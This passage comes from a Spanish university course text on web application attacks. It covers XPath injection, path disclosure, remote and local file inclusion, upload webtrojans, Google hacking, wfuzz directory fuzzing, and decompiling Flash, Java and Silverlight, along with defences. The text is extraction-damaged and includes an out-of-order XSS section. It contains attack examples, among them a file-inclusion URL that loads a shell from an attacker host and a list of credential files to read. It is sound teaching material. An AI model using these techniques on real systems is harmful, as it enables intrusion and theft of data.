query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web
El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en
una paacutegina web es localizar zonas funcionales de esta que permitan la intro-
duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente
si queda almacenado en una base de datos o bien de forma no permanente
si no es asiacute
En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio
de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible
ataque XSS
Figura 2 Enviacuteo de mensaje
Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo
de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una
serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres
a introducir seriacutean
bull Comilla simple (lsquo)
bull Comilla doble (ldquo)
bull Siacutembolo de mayor que (gt)
bull Siacutembolo de menor que (lt)
bull Barra ()
bull Espacio ( )
Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-
sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar
su existencia de forma totalmente definitiva siempre existe la posibilidad de
encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras
clave como script onload o javascript
En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-
raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-
queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-
mer ataque de XSS
En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-
luser De este modo todas las pruebas que realicemos se enviacutean directamente a
este usuario evitando alertar al usuario administrador En el campo del Cuer-
CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web
po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos
muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El
resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten
Figura 3 XSS antes de ser enviado
En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-
gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido
y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto
ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja
de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del
resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada
obtendremos una ventana de alerta con el mensaje especificado
Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el
coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve
el servidor
lta href=indexphpaction=deletegtltimg src=trashpng gtBorr
lta href=indexphpaction=logoutgtltimg src=system-log-outpn
ltdiv class=contenidogt
ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt
ltscriptgtltpgtltdivgt
ltdivgt
ltbodygt
Como se puede observar todos y cada uno de los caracteres que hemos intro-
ducido han quedado almacenados en la base de datos y se han copiado en el
coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro
Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se
estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-
do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-
mente o que borre todos sus mensajes La lista de posibilidades de acciones
maliciosas seriacutea interminable
